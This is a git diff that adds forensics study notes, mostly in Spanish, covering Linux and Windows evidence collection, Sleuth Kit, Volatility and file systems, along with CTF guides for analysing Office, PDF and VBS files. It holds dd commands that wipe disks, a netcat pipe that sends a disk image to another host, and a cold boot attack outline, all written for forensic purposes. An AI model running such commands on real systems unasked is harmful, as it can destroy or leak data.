at 0x7fd54f90d5b0, file "hello.py", line 1>)
+>>>
+>>> # Verify if magic number corresponds with the current python version
+>>> struct.unpack('>>
+>>> # Disassemble the code object
+>>> dis.disassemble(code)
+ 1 0 LOAD_CONST 0 ()
+ 3 MAKE_FUNCTION 0
+ 6 STORE_NAME 0 (hello_world)
+ 9 LOAD_CONST 1 (None)
+ 12 RETURN_VALUE
+>>>
+>>> # Also disassemble that const being loaded (our function)
+>>> dis.disassemble(code.co_consts[0])
+ 2 0 LOAD_CONST 1 ('Hello {0}')
+ 3 LOAD_ATTR 0 (format)
+ 6 LOAD_FAST 0 (name)
+ 9 CALL_FUNCTION 1
+ 12 PRINT_ITEM
+ 13 PRINT_NEWLINE
+ 14 LOAD_CONST 0 (None)
+ 17 RETURN_VALUE
+```
+
diff --git a/forensics/basic-forensics-esp/README.md b/forensics/basic-forensics-esp/README.md
new file mode 100644
index 00000000..8a7541de
--- /dev/null
+++ b/forensics/basic-forensics-esp/README.md
@@ -0,0 +1,514 @@
+# Basic Forensics \(ESP\)
+
+* **Collect**
+* **Preserve**
+* **Analyze**
+* **Present**
+
+Cuando hagas reboot a una máquina afectada hay que iniciarla desde nuestro propio USB booteado. Pues usar el SO de la maquina modificara metadata de algunos archivos \(como access time\) y las herramientas de dicha máquina no son confiables.
+
+**Linux/Unix**
+
+En linux cualquier cosa es un archivo. Por ejemplo la RAM es un archivo llamado **/dev/mem**
+
+**lsof** —> Open files belonging to any process
+**lsof -i** 4 —> Todos los archivos relacionados con conexiones IPv4
+**lsof -i 4 -a -p 1234** —> List all open IPV4 network files in use by the preocess 1234
+**lsof /dev/hda3** lista todos los archivos abiertos en /dev/hda3
+**lsof -t /u/ade/foo** encuentra el proceso que tiene /u/abe/foo abierto
+**lsof +D /directory/path** Busca que procesos tienen abiertos dicho directorio y archivos de dicho directorio
+**lsof -i :1-1024** Archivos que usan dichos puertos
+**lsof -i udp** Archivos que usan UDP -uid 0
+**lsof -p 3 - R** Muestra del proceso nº3 también su proceso padre
+**date** —> Hora del ordenador actual
+**uptime** —> Rebooted
+**uname -a** —> System information
+**ifconfig** —> Ver si esta en modo promiscuo
+**ps -eaf** —> Procesos y servicios inusuales
+**netstat -punta**
+**lsof +L1** —> Muestra todos los archivos abiertos con un contador de link menor de 1. Esto es para los procesos que eliminan el archivo del que vienen pero siguen ejecutandose porque ya están en memoria. Es decir lista todos los procesos que tienen su archivo borrado.
+**w who users** —> Info de usuarios
+**find / -uid 0 -perm -4000 2>/dev/null** —> Sirve para encontrar todos los archivos que tienen de permiso la **s**
+**find /directory -type f -mtime -1 -print** —> Encuentra todos los archivos dentro de ese directorio modificados hace menos de 1 día
+**last** —> Último usuario loggeado
+**df** —> Free space
+**free** —> free y used physical y swap memory
+
+Toda la info obtenida de la máquina infectada NO debe ser guardada en la máquina sino enviada a otra con **netcat**
+
+### **MemoryDump**
+
+#### **memdmp**
+
+ **Linux Memory Extractor \(LiME\)** —> Kernel module —> Descargar de git y hacer make —> **insmod ./lime-3.13.0-44-generic.ko "path=/home/sansforensics/Desktop/mem\_dump.bin format=padded"** —> Inserta el modulo en el kernel el cual puede ser visto con **lsmod** —> **rmmod lime** —> Para eliminarlo
+**strings -n 8 mem\_dump.bin** —> Da todas las strings de tamaño igual o superior a 8
+**Fmem** —> Kernel Module
+live response from **E-FENSE** —> Insertar un USB y vas seleccionando los datos que quieres
+**F-Response** —> Remotely
+
+### **Copy Hard Drive**
+
+**DD —>** Coge bloques de memoria, les aplica el cambio que necesita y los coloca en su sitio. Por defecto bloques de 512B
+
+**dd if=INPUT\_FILE of=OUTPUT\_FILE bs=Nk \(N es el numero de Kilobytes\)** —> Un bs mayor de 8KB puede hacer que vaya más lento
+**count=s** —> s es el numero de bloques a copiar
+**skip=n** —> n es el numero de bloques de los que pasar
+**seek=n** —> n es el número de de bloques del outputfile
+
+Un problema con DD es que no da feedback y si encuentra un error se queda parado sin que tu lo sepas \(una seccion no puede leerla y se para\) para eso se puede usar:
+
+**conv=noerror,sync** —> Pasa de los errores y sigue y rellena con 0s lo que no pudo copiar
+**dd if=/dev/zero of=/dev/hdb** —> Lo pone a cero \(3-7 veces para dejarlo limpio\)
+**dd if=/dev/zero of/path/file count=1** —> Si no ponemos un count nunca parará de copiar 0s
+**dd if=/dev/hdb of=/dev/hda** —> Hay que tener cuidado pues lo que sobre del disco serán 0s y esto hará que el hash sea distinto. Hay que averiguar el número de bloques para calcular el hash solo de ese número de bloques
+**dd if=/dev/hda of=/cas1/evidence.dd**
+**ssh** [**pi@10.10.10.48**](mailto:pi@10.10.10.48) **“sudo dcfldd if=/dev/sbd \| gzip -1 -” \| dcfldd of=pi.dd.gz**
+**Forensic listen: nc -l -p 8888 > /dev/hdg**
+**Infected device: dd if/dev/hda \| nc IPADDR 8888 -w 3** —> La opción w le dice que si no se envía nada en 3 segundo, se desconecta
+DD no checkea hashes, hay que hacerlo de forma manual
+**sdd** —> DD para forensia, da más datos y puede ser un poco más rápido
+
+[http://malwarefieldguide.com/LinuxChapter1.html](http://malwarefieldguide.com/LinuxChapter1.html)
+
+### **BOOT LINUX**
+
+La MBR \(master boot record\) está en el sector 0, se crea al particionar el disco y es siempre de 512B. 446B son el boot code, 64B de la tabla de partición y 2B son de la firma \(55AA\).
+
+La firma del offset 01B8 identifica el disco al SO.
+
+La tabla de partición contiene las 4 primeras particiones en 16B cada especificando el inicio y el fin. También indica si la partición es la que hay que bootear y el tamaño.
+
+Cuando identifica la active partition carga un copia del boot sector de la active partition en memoria y pasa el control al código ejecutable.
+
+EFI usa GUID \(globally unique identification\) compuesto por GPT\(puede tener hasta 128 primary partitions\) y jumps.
+
+Linux usa EXT file system \(basado en el de UNIX\) . Un sistema con este particionado tiene un optional boot block y un superblock. El superblock define las estructuras de datos y los limites del sistema de ficheros. Contiene información de:
+
+ Magic number
+
+ Mount count and maximum mount count
+
+ block size \(4096B\) —> Un bloque es la unidad mínima para guardar info
+
+ INODE count y block count![](https://feelsec.info/wp-content/uploads/2019/01/Pasted-Graphic.jpg)
+
+ number of free disk blocks
+
+ number of free INODEs on the system
+
+ first INODE —> INODE number del first INODE en l file system \(en un EXT2,3,4 sería / del directorio\)
+
+Un INODE contiene metadata de un archivo \(uno o varios files tienen por lo menos un INODE\): tipo, dueño, permiso, tiempos \(ultima modif, aceso..\), links al file y data block addresses.
+
+Cómo encuentra /etc/myconfig
+
+Primero va al INODE de / del cual saca la info de que es un directorio y dónde tiene el contenido. El contenido es una lista de archivos y subdirs que están en /. El subdirectorio etc debe de estar en esta lista con su INODE. Por lo tanto se mira su INODE, se averigua que es un directorio y se va donde tenga el contenido. En este contenido se busca myconfig junto con su número de INODE. Del INODE sacamos que myconfig es un archivo y su contenido son los block addresses donde lo guarda.
+
+Pasted Graphic.tiff ¬
+
+Cada archivo tiene su contenido almacenado en bloques, metadata en el INODE y el nombre e INODE number en el directorio dentro del que está. Cada vez que se crea, el numero de INODES decrementa en 1.
+
+Cuando se elimina un archivo y el numero de Link-Count del INODE llega a 0 en EXT2:
+
+ los data blocks del block bitmap son marcados como libres
+
+ el INODE en el INODE bitmap se marca como libre
+
+ el deletion Time se pone en el INODE
+
+ el directory entry se marca como unused
+
+ Las conexiones entre la entrada del directorio, INODE, y los data blocks seguirán ahí hasta que se sobreescriban.
+
+Como la informacion del directory entry aún está disponible, puedes encontrar la relacion entre el file name y su INODE.
+
+Cambios en EXT3 y 4:
+
+ EL file size en el INODE se pone a 0
+
+ Los datos sobre los bloques son limpiados, por lo que no hay LINK entre INODE y los data blocks. Aun así, hay algunas formas de recuperar la info.
+
+Los comandos **SRM** o **shred** borran intencionadamente el contenido.
+
+Un Hard link tendrá el mismo INODE que el orginial por lo tanto comparten metadata y apuntan a los mismos bloques. Es decir un archivo con otro nombre que apunta a lo mismo.
+
+Un Soft link tendrá distinto INODE y solo guardará la información de a qué archivo apunta.
+
+| **Directory** | **Content** |
+| :--- | :--- |
+| /bin | Common programs, shared by the system, the system administrator and the users. |
+| /boot | The startup files and the kernel, vmlinuz. In some recent distributions also grub data. Grub is the GRand Unified Boot loader and is an attempt to get rid of the many different boot-loaders we know today. |
+| /dev | Contains references to all the CPU peripheral hardware, which are represented as files with special properties. |
+| /etc | Most important system configuration files are in /etc, this directory contains data similar to those in the Control Panel in Windows |
+| /home | Home directories of the common users. |
+| /initrd | \(on some distributions\) Information for booting. Do not remove! |
+| /lib | Library files, includes files for all kinds of programs needed by the system and the users. |
+| /lost+found | Every partition has a lost+found in its upper directory. Files that were saved during failures are here. |
+| /misc | For miscellaneous purposes. |
+| /mnt | Standard mount point for external file systems, e.g. a CD-ROM or a digital camera. |
+| /net | Standard mount point for entire remote file systems |
+| /opt | Typically contains extra and third party software. |
+| /proc | A virtual file system containing information about system resources. More information about the meaning of the files in proc is obtained by entering the command **man** _**proc**_ in a terminal window. The file proc.txt discusses the virtual file system in detail. |
+| /root | The administrative user's home directory. Mind the difference between /, the root directory and /root, the home directory of the _root_ user. |
+| /sbin | Programs for use by the system and the system administrator. |
+| /tmp | Temporary space for use by the system, cleaned upon reboot, so don't use this for saving any work! |
+| /usr | Programs, libraries, documentation etc. for all user-related programs. |
+| /var | Storage for all variable files and temporary files created by users, such as log files, the mail queue, the print spooler area, space for temporary storage of files downloaded from the Internet, or to keep an image of a CD before burning it. |
+
+**Sleuthkit y Autopsy**
+
+Lo primero que tenemos que hacer es encontrar el inicio de la partición. Para eso podemos usar **fdisk** o **mmls**. **mmls PATH\_IMAGEN** \(mmls da la info en base a bloques de 512B y fdisk da la info en base a cilindros, se suele usar mmls porque te interesan los Bytes para sleuthkit\)
+
+De esta forma encontramos el offset en la que comienza el SO. Conociendo en offset con el que empieza podemos empezar a usar Sleuthkit.
+
+Con **fsstat** podemos encontrar el tipo de partición que es. **fsstat -o OFFSET IMAGEN**
+
+**fls -o OFFSET -f FS\_TYPE -m “/“ -r PATH\_IMAGEN > flsBody** —> Da todos los archivos encontrados que aun tienen el nombre puesto desde / en formato MACTIME
+
+**ils -o OFFSET -f FS\_TYPE -m PATH\_IMAGEM > ilsBody** —> Da todos los INODES que encuentra en formato MACTIME
+
+Autopsy es la GUI de Sleuth Kit.
+
+Los SDD complican el rescatar información.
+
+File system layer tools start with **FS**
+
+File name layer tools starts with **F**
+
+Metadata layer tools strat with **I**
+
+Data layer tools start with **BLK**
+
+Todos los comandos necesitan por lo menos el nombre de la imagen:
+
+ **-f <fs\_type>** —> EXT2,3 FAT12,16,32…
+
+ **-o imgoffset** —> Sector offset where the file system starts in the image
+
+ **BLK —>Block**
+
+ **blkstat** —> Muestra información del bloque \(como si está allocated\)
+
+ **blkstat -f ext2 myImage.img 300** —> Muestra info del bloque 300
+
+ **blkls** —> Muestra toda la Unallocated Data \(útil para recuperar info\)
+
+ **-e** —> Lista todos los datos
+
+ **-s** —> liste the slack \(ntfs o fat\)
+
+ **blkcat** —> Muestra el contenido de un bloque
+
+ **-h** -> Para mostrarlo en hexadecimal
+
+ **blkcat -f ext2 myImage.img 200** —> Muestra lo que hay en el bloque 200
+
+ I **—> INODE\(Meta data\)**
+
+ **istat** —> Info de un INODE: INODE number, mac time, permission, file size, allocation status o allocated data blocks number, number of links…
+
+ **istat -f ext2 myImage.img INODENUMBER**
+
+ **ifind** —> De un block number a un INODE number. Si encuentras un bloque interesante así puedes encontrar los demás.
+
+ **ifind -f ext2 -d DATABLOCKNUMBER myImage.img**
+
+ **ils** —> List all inodes and info. Included deleted files and unlinked but opened files
+
+ Por defecto solo muestra los de archivos borrados
+
+ **-e** —> Muestra todos
+
+ **-m** —> crea un archivo para MACTIME —> Organiza el resultado y presenta un timeline de actividades. Pone un 127 al INODE si ela rchivo ha sido borrado.
+
+ **-o** —> Open but no filename
+
+ **-z** —> INODE with zero status time change \(never used\)
+
+ **icat** —> Dada la imagen sospechosa y el INODE, saca el contenido, puede recuperar archivos perdidos. Debemos encontrar el INODE number con ils.
+
+ **icat -f ext2 /image 20**
+
+ **F —> File name**
+
+ **fls** —> Lista los nombres y subdirs de un directorio. Por defecto los del root. Deleted files have a \* before them. Si el nombre fue sobreescrito, no lo encontrará, pero ILS sí.
+
+ **-a** —> Display all
+
+ **-d** —> Deleted only
+
+ **-u** —> undeleted
+
+ **-D** —> Directories
+
+ **-F** —> File entries only
+
+ **-r** —> Recursive on subdirs
+
+ **-p** —> Full path
+
+ **-m output** —> TIMELINE format
+
+ **-l** —> Long version information
+
+ **-s** —> Skew in seconds combined with -l and/or -m
+
+ **fls -r image 12**
+
+ **fls -f ext3 -m “/” -r imaes/root.dd**
+
+ **fls -o 2048 -f ext2 -m "/" -r '/home/sansforensics/Desktop/LinuxFinancialCase.001' > flsBody**
+
+ **ffind** —> Filename de un INODE. Busca por todas partes hasta encontrar a qué filename apunta el INODE
+
+ **-a** —> Coge todos los nombres que apuntan al INODE
+
+ **ffind -f ext2 myImage.img INODENUMBER**
+
+**Mount -o ro,loop /my\_hda1.dd /mnt/hacked** —> Siempre se debe montar con ro \(read only\), loop es por si lo que montas no es un disco sino un archivo \(una imagen por ejemplo\)
+
+**MACTIME:**
+
+ **M** —> Last time files data block changed \(Modification\)
+
+ **A** —> Last time files data block accessed \(Access\)
+
+ **C** —> Last time inodes content changed \(in windows, this is creation time\) \(Change time\)
+
+**mactime -b FLSbodymac -d > MACtimeFLS.csv**
+
+En linux usar **touch** modifica los 2 primeros. En windows hay un programa que modifica los 3 \(todo se modifica muy facilmente\).
+
+**touch -a -d ‘2017-01-03 08:46:23’ FILE** —> Modifica el access según la hora dada
+
+Comando **stat** da los tres valores MAC del archivo.
+
+Conseguir el archivo en formato MACTIME
+
+ **fls -f ext3 -m “/“ -r images/root.dd > data/body**
+
+ **ils -f openbsd -m images/root.dd > data/body**
+
+Binary files modified in 1 day: **find /directory\_path -type f -a=x -mtime -1 -print**
+
+Files created in 1 day: **find /directory\_path -type f -a=x -bmin -24 -print**
+
+Se pueden guardar todo el raw data unallocated de la imagen usando dls myImage > unallocated \(el contenido de estos datos puede ser cualquier cosa: .jpeg, .pdf …\)
+
+Se puede saber qué datos son usando programas de data carving \(se basan en headers, footers para saber que tipo de archivo es, dónde empieza y dónde acaba\).
+
+Data carving tools: **Foremost, Scalpel, Magic Rescue, Photorec, TestDisk, etc**
+
+**Foremost**
+
+Para user Foremost tenemos que ir a su archivo de configuración \(find / -name foremost.comf\) y descomentar las líneas de los tipos de archivo que nos interesen.
+
+**foremost -c fremost.conf -T -i FILE** \(La T es para que vaya asginando nombres unicos\)
+
+**BOOTABLES**
+
+CAINE
+
+HELIXS/HELIX3 PRO
+
+KALI
+
+PENGUIN SLEUTH
+
+F.I.R.E
+
+SNARL
+
+**BUILT-IN FUNCTIONALITIES**
+
+Deleted file recovery
+
+Keyword search
+
+Hash Analysis
+
+Data carving
+
+Graphic view
+
+Email view
+
+**Analysis procedure**
+
+Create a case
+
+Add evidence to a case
+
+Perform throrough analysis
+
+Obtain basic analysis data
+
+Export files
+
+Generate report
+
+**WINDOWS**
+
+**Volatile Information**
+
+System Information
+
+ Processes information
+
+ Network information
+
+ Logged on users
+
+ Clipboard contents
+
+ Command history - doskey/history
+
+ MACTime
+
+Comandos para obtener esta info:
+
+ date /T; time /T
+
+ uptime
+
+ ipconfig
+
+ tasklist /svc
+
+ openfiles
+
+ netstat
+
+**Helix:**
+
+Primer apartado: Info del sistema
+
+ Procesos corriendo
+
+ Segundo apartado: Permite crear copias del disco y memoria, primero usando **dd** \(mejor usar os otros\)
+
+ En la segunda página usando **FTK imager**
+
+ Es la tercera página, RAM usando **Winen** o **MDD**
+
+ Tercer apartado: Incident response
+
+ Cuarto apartado: Navegación por el disco, no usar mucho porque cambian los tiempos de acceso
+
+ Quinto apartado: Saca todas las imagenes
+
+**Volatility:**
+
+ vol.py -f PATH\_IMAGE imageinfo —> Primer plug-in a usar para obtener el so
+
+ vol.py -f PATH\_IMAGE pslist —> Procesos pslist no supera los rootkits pero psscan algunos sí
+
+ vol.py -f PATH\_IMAGE psscan —> Comparar esta salida y la anterior para buscar rootkits
+
+ vol.py -f PATH\_IMAGE connscan —> Conexiones, a partir de windows Vista se usa netscan
+
+ vol.py -f PATH\_IMAGE printkey -K “Microsoft\Windows NT\CurrentVersion\Winlogon” —> procesos que escribieron en dicho registro
+
+**Cold Boot Attack:**
+
+En el caso en el que el sistema esté cifrado y encendido pero no se tenga la contraseña para entrar se realiza este tipo de ataque.
+
+Este ataque se basa en la posibilidad de que el delincuente ya accediese antes al sistema y se desloggeara, de forma que la contraseña del cifrado aún pudiese estar en memoria pero no se puede hacer un dump de la memoria pues no se puede loggear uno como el usuario pues no se tiene la contraseña.
+
+El ataque cold boot consiste en que la memoria RAM no se elimina en cuanto se apaga el ordenador y si se le aplica frío puede durar varios minutos, de esta forma para intentar extraerla:
+
+ 1\) Hacer que la BIOS inicie desde usb
+
+ 2\) Conectar el USB especial \(scraper.bin\) que hace un copiado de la memoria
+
+ 3\) El USB ha copiado la memoria
+
+**High speed forensics imagers**
+
+Logicube’s Forensic Falcon —> 30GB por minuto
+
+Mediaclone’s Superimager —> de 29 a 31 GB por minuto
+
+En Windows un Block es llamado Cluster. En este sistema operativo cuando un cluster no se llena el espacio vacio se queda sin usar, lo cual es util pues puede contener datos eliminados. En linux la parte que no se llena de un block se rellena con ceros.
+
+Windows filesystems: FAT12, FAT16, FAT32, exFAT, NTFS4, NTFS5 y ReFS
+
+Un sistema de ficheros FAT comienza con un BOOT RECORD seguido de una ALLOCATION TABLE, depués el ROOT DIRECTORY y finalmente el DATA AREA, el tamaño de un cluster es de 512B
+
+ BOOT SECTOR:
+
+ Primer setor de FAT12 o FAT16, o 3 primeros sectores de FAT32, define el volumen, el offset de las otras 3 áreas y contiene el boot program si es booteable
+
+ FAT \(File Allocation Table\):
+
+ Es una tabla donde buscar qué cluster va a continuacion. Para localizar un archivo basta con saber la dirección del primer cluster y luego usando la FAT se localiza lo demás. FAT32 usa 32 bits para la dirección del cluster. Una dirección en la tabla guarda la dirección del siguiente cluster. Un cluster es el ultimo estara relleno de unos y si no se usa, de ceros. Un cluster malo tiene hex FFF7.
+
+ WINDOWS ROOT DIRECTORY:
+
+ Un directorio contiene info del nombre y la extension, entry type, la dirección del primer cluster, the lens of the file y data time \(contiene toda esta info en 32bits\)
+
+Cuando se elimina un archivo se cambia el primer byte del nombre por 0xE5 y se desalojan los clusters la ta tabla FAT.
+
+Quick format: Pone a cero las entradas de root directory y file allocation table entries, pero deja los datos sin tocar.
+
+**NTFS**
+
+El tamaño de un cluster es de 64kB, aunque se pueden crear clusters mas pequeños o más grandes. 64bits para la dirección de cada cluster
+
+ BOOT RECORD:
+
+ Puede usar hasta 16 sectores, tiene el cluster size, dirección de MFT\(master file table\), el mirror de MFT\(4 primeras entradas\) y el código si es booteable.
+
+ MASTER FILE TABLE \(se puede ver con EnCase\)
+
+ Su nombre comienza con $ y se crea cuando el NTFS es formateado. Cada archivo usa uno o mas MFT records para guardar info: $file record head\(MFT nº, link count, tipo de archivo, tamaño, etc\), $standard information, $filename, $data y $attribute.
+
+ Si el metadata de un archivo es mayor que un MFT record, se usan mas.
+
+ El primer archivo es $MFT
+
+ $BITMAP guarda el estado de cada cluster, si está usado vale 1, sino vale 0.
+
+Cuando se elimina algo, el pone el cluster a 0 \(unallocated\) la entrada de $index es eliminada el MTF padre, pero no se borran los datos.
+
+**REGSTRO**
+
+ Usuarios y contraseñas, e-mails, sitios de internet
+
+ Historial de navegación
+
+ Internet searches
+
+ Lista de archivos accedidos
+
+ Lista de programas instalados
+
+Windows guarda el registro en archivos binarios llamados hives.
+
+SAM: Información de cuentas y contraseñas asi como el SID de cada. También guarda el tiempo de LOGON
+
+SID: Identifica unequivocamente a usuarios y su grupo para dar derecho o no a archivos
+
+En system se guarda info de los usbs introducidos asi como cuando entraron y cuando se sacaron
+
+El registro se puede ver tanto en máquinas corriendo como en imagenes de memoria. Para verlos se puede usar EnCase, Registry Explore, RegRipper, Registry Recon, Access Data Registry Viewer
+
+Registros: SAM \(para cuentas\), SYSTEM \(para info del sistema\), NTUSER.dat \(cada usuario tiene el suyo que guarda info del usuario\)
+
+**CUSTOM**
+
+Cuando tienes una imagen puedes pasarle binwalk para saber qué esconde la imagen.
+
+Si tienes una copia de la MFT:
+
+ Con volatility puedes reconstruir la MFT e ir mirando todos los archivos que hay y su contenido en hex y ascii \(aunque son muchos pero está bien para buscar archivos extraños\) con: volatility -f mft.dd mftparser -N --output-file=mft.dd.vol.txt --> Te da un archivo con texto cno todos los archivos que existen en dicha imagen
+
+Borrado de datos: [https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization)
+
+recuperacion de datos: [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
+
+En imagenes:
+
+Strings
+exiftool
+
diff --git a/forensics/basic-forensics-esp/desofuscation-vbs-cscript.exe.md b/forensics/basic-forensics-esp/desofuscation-vbs-cscript.exe.md
new file mode 100644
index 00000000..090d4417
--- /dev/null
+++ b/forensics/basic-forensics-esp/desofuscation-vbs-cscript.exe.md
@@ -0,0 +1,49 @@
+# Desofuscation vbs \(cscript.exe\)
+
+Some things that could be useful to debug/desofuscate a malicious vbs file:
+
+### echo
+
+```text
+Wscript.Echo "Like this?"
+```
+
+### Commnets
+
+```text
+' this is a comment
+```
+
+### Test
+
+```text
+cscript.exe file.vbs
+```
+
+### Write data to a file
+
+```text
+Function writeBinary(strBinary, strPath)
+
+ Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject")
+
+ ' below lines pupose: checks that write access is possible!
+ Dim oTxtStream
+
+ On Error Resume Next
+ Set oTxtStream = oFSO.createTextFile(strPath)
+
+ If Err.number <> 0 Then MsgBox(Err.message) : Exit Function
+ On Error GoTo 0
+
+ Set oTxtStream = Nothing
+ ' end check of write access
+
+ With oFSO.createTextFile(strPath)
+ .Write(strBinary)
+ .Close
+ End With
+
+End Function
+```
+
diff --git a/forensics/basic-forensics-esp/file-system-analysis.md b/forensics/basic-forensics-esp/file-system-analysis.md
new file mode 100644
index 00000000..65aa881d
--- /dev/null
+++ b/forensics/basic-forensics-esp/file-system-analysis.md
@@ -0,0 +1,21 @@
+# File System Analysis
+
+From: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
+
+Occasionally, a CTF forensics challenge consists of a full disk image, and the player needs to have a strategy for finding a needle \(the flag\) in this haystack of data. Triage, in computer forensics, refers to the ability to quickly narrow down what to look at. Without a strategy, the only option is looking at everything, which is time-prohibitive \(not to mention exhausting\).
+
+Example of mounting a CD-ROM filesystem image:
+
+```text
+mkdir /mnt/challenge
+mount -t iso9660 challengefile /mnt/challenge
+```
+
+Once you have mounted the filesystem, the `tree` command is not bad for a quick look at the directory structure to see if anything sticks out to you for further analysis.
+
+You may not be looking for a file in the visible filesystem at all, but rather a hidden volume, unallocated space \(disk space that is not a part of any partition\), a deleted file, or a non-file filesystem structure like an [http://www.nirsoft.net/utils/alternate\_data\_streams.html](https://trailofbits.github.io/ctf/forensics/NTFS). For EXT3 and EXT4 filesystems, you can attempt to find deleted files with [extundelete](http://extundelete.sourceforge.net/). For everything else, there's [TestDisk](http://www.cgsecurity.org/wiki/TestDisk): recover missing partition tables, fix corrupted ones, undelete files on FAT or NTFS, etc.
+
+[The Sleuth Kit](http://www.sleuthkit.org/sleuthkit/) and its accompanying web-based user interface, "Autopsy," is a powerful open-source toolkit for filesystem analysis. It's a bit geared toward law-enforcement tasks, but can be helpful for tasks like searching for a keyword across the entire disk image, or looking at the unallocated space.
+
+Embedded device filesystems are a unique category of their own. Made for fixed-function low-resource environments, they can be compressed, single-file, or read-only. [Squashfs](https://en.wikipedia.org/wiki/SquashFS) is one popular implementation of an embedded device filesystem. For images of embedded devices, you're better off analyzing them with [firmware-mod-kit](https://code.google.com/archive/p/firmware-mod-kit/) or [binwalk](https://github.com/devttys0/binwalk).
+
diff --git a/forensics/basic-forensics-esp/office-file-analysis.md b/forensics/basic-forensics-esp/office-file-analysis.md
new file mode 100644
index 00000000..7857e8e6
--- /dev/null
+++ b/forensics/basic-forensics-esp/office-file-analysis.md
@@ -0,0 +1,59 @@
+# Office file analysis
+
+From: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
+
+Microsoft has created dozens of office document file formats, many of which are popular for the distribution of phishing attacks and malware because of their ability to include macros \(VBA scripts\). Microsoft Office document forensic analysis is not too different from PDF document forensics, and just as relevant to real-world incident response.
+
+Broadly speaking, there are two generations of Office file format: the OLE formats \(file extensions like RTF, DOC, XLS, PPT\), and the "Office Open XML" formats \(file extensions that include DOCX, XLSX, PPTX\). Both formats are structured, compound file binary formats that enable Linked or Embedded content \(Objects\). OOXML files are actually zip file containers \(see the section above on archive files\), meaning that one of the easiest ways to check for hidden data is to simply `unzip` the document:
+
+```text
+$ unzip example.docx
+Archive: example.docx
+ inflating: [Content_Types].xml
+ inflating: _rels/.rels
+ inflating: word/_rels/document.xml.rels
+ inflating: word/document.xml
+ inflating: word/theme/theme1.xml
+ extracting: docProps/thumbnail.jpeg
+ inflating: word/comments.xml
+ inflating: word/settings.xml
+ inflating: word/fontTable.xml
+ inflating: word/styles.xml
+ inflating: word/stylesWithEffects.xml
+ inflating: docProps/app.xml
+ inflating: docProps/core.xml
+ inflating: word/webSettings.xml
+ inflating: word/numbering.xml
+$ tree
+.
+├── [Content_Types].xml
+├── _rels
+├── docProps
+│ ├── app.xml
+│ ├── core.xml
+│ └── thumbnail.jpeg
+└── word
+ ├── _rels
+ │ └── document.xml.rels
+ ├── comments.xml
+ ├── document.xml
+ ├── fontTable.xml
+ ├── numbering.xml
+ ├── settings.xml
+ ├── styles.xml
+ ├── stylesWithEffects.xml
+ ├── theme
+ │ └── theme1.xml
+ └── webSettings.xml
+```
+
+As you can see, some of the structure is created by the file and folder hierarchy. The rest is specified inside the XML files. [_New Steganographic Techniques for the OOXML File Format_, 2011](http://download.springer.com/static/pdf/713/chp%253A10.1007%252F978-3-642-23300-5_27.pdf?originUrl=http%3A%2F%2Flink.springer.com%2Fchapter%2F10.1007%2F978-3-642-23300-5_27&token2=exp=1497911340~acl=%2Fstatic%2Fpdf%2F713%2Fchp%25253A10.1007%25252F978-3-642-23300-5_27.pdf%3ForiginUrl%3Dhttp%253A%252F%252Flink.springer.com%252Fchapter%252F10.1007%252F978-3-642-23300-5_27*~hmac=aca7e2655354b656ca7d699e8e68ceb19a95bcf64e1ac67354d8bca04146fd3d) details some ideas for data hiding techniques, but CTF challenge authors will always be coming up with new ones.
+
+Once again, a Python toolset exists for the examination and analysis of OLE and OOXML documents: [oletools](http://www.decalage.info/python/oletools). For OOXML documents in particular, [OfficeDissector](https://www.officedissector.com/) is a very powerful analysis framework \(and Python library\). The latter includes a [quick guide to its usage](https://github.com/grierforensics/officedissector/blob/master/doc/html/_sources/txt/ANALYZING_OOXML.txt).
+
+Sometimes the challenge is not to find hidden static data, but to analyze a VBA macro to determine its behavior. This is a more realistic scenario, and one that analysts in the field perform every day. The aforementioned dissector tools can indicate whether a macro is present, and probably extract it for you. A typical VBA macro in an Office document, on Windows, will download a PowerShell script to %TEMP% and attempt to execute it, in which case you now have a PowerShell script analysis task too. But malicious VBA macros are rarely complicated, since VBA is [typically just used as a jumping-off platform to bootstrap code execution](https://www.lastline.com/labsblog/party-like-its-1999-comeback-of-vba-malware-downloaders-part-3/). In the case where you do need to understand a complicated VBA macro, or if the macro is obfuscated and has an unpacker routine, you don't need to own a license to Microsoft Office to debug this. You can use [Libre Office](http://libreoffice.org/): [its interface](http://www.debugpoint.com/2014/09/debugging-libreoffice-macro-basic-using-breakpoint-and-watch/) will be familiar to anyone who has debugged a program; you can set breakpoints and create watch variables and capture values after they have been unpacked but before whatever payload behavior has executed. You can even start a macro of a specific document from a command line:
+
+```text
+$ soffice path/to/test.docx macro://./standard.module1.mymacro
+```
+
diff --git a/forensics/basic-forensics-esp/pdf-file-analysis.md b/forensics/basic-forensics-esp/pdf-file-analysis.md
new file mode 100644
index 00000000..aff6968f
--- /dev/null
+++ b/forensics/basic-forensics-esp/pdf-file-analysis.md
@@ -0,0 +1,24 @@
+# PDF File analysis
+
+From: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
+
+PDF is an extremely complicated document file format, with enough tricks and hiding places [to write about for years](https://www.sultanik.com/pocorgtfo/). This also makes it popular for CTF forensics challenges. The NSA wrote a guide to these hiding places in 2008 titled "Hidden Data and Metadata in Adobe PDF Files: Publication Risks and Countermeasures." It's no longer available at its original URL, but you can [find a copy here](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf). Ange Albertini also keeps a wiki on GitHub of [PDF file format tricks](https://github.com/corkami/docs/blob/master/PDF/PDF.md).
+
+The PDF format is partially plain-text, like HTML, but with many binary "objects" in the contents. Didier Stevens has written [good introductory material](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) about the format. The binary objects can be compressed or even encrypted data, and include content in scripting languages like JavaScript or Flash. To display the structure of a PDF, you can either browse it with a text editor, or open it with a PDF-aware file-format editor like Origami.
+
+[qpdf](https://github.com/qpdf/qpdf) is one tool that can be useful for exploring a PDF and transforming or extracting information from it. Another is a framework in Ruby called [Origami](https://github.com/mobmewireless/origami-pdf).
+
+When exploring PDF content for hidden data, some of the hiding places to check include:
+
+* non-visible layers
+* Adobe's metadata format "XMP"
